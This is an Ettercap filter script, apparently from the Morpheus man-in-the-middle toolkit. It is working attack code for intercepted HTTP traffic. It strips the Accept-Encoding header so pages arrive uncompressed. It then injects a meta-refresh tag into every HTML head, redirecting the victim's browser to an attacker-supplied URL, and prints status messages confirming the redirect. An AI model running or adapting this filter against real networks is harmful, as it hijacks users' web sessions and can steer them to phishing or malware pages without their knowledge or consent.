############################################################################
#                                                                          #
#  HTTPS Request/Response Filter                                           #
#  based on code from ALoR & NaGA                                          #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################

##
#  This filter will redirect target requests under mitm
#  attacks to the specified redirect url. [ http-equiv= ]
##



#
# Report port 443 + 80 (tcp) traffic just to make displays
# that shows to users that filter its working fine ..
#
if (ip.proto == TCP && tcp.dst == 443 || tcp.src == 443) {
    msg("[morpheus] host:ALL     [ ⊶  ]  port:443  [tcp] https ☆");
}





##########################
## Zap Content Encoding ##
##########################
if (ip.proto == TCP && tcp.dst == 80 || tcp.src == 80){
   if (search(DATA.data, "Accept-Encoding")){
    replace("Accept-Encoding", "Accept-Rubbishh");
      msg("\n[morpheus] host:request  [ ⊶  ]  found ..");
   }
}



#####################
## Replace Content ##
#####################
if (ip.proto == TCP && tcp.src == 80 || tcp.dst == 80){
  if (search(DATA.data, "<head>")) {
      msg("[Morpheus] | action: redirecting target traffic ✔");
      msg("[Morpheus] |  injec: meta http-equiv on request ✔");
        # redirect target traffic by replacing <head> html tag with one redirection url
        replace("<HEAD>", "<HEAD><META http-equiv='refresh' content='0;URL=IpAdR'>");
        replace("<head>", "<head><meta http-equiv='refresh' content='0;URL=IpAdR'>");
        msg("[Morpheus] |_ dns_spoof: IpAdR \n");
  }
}
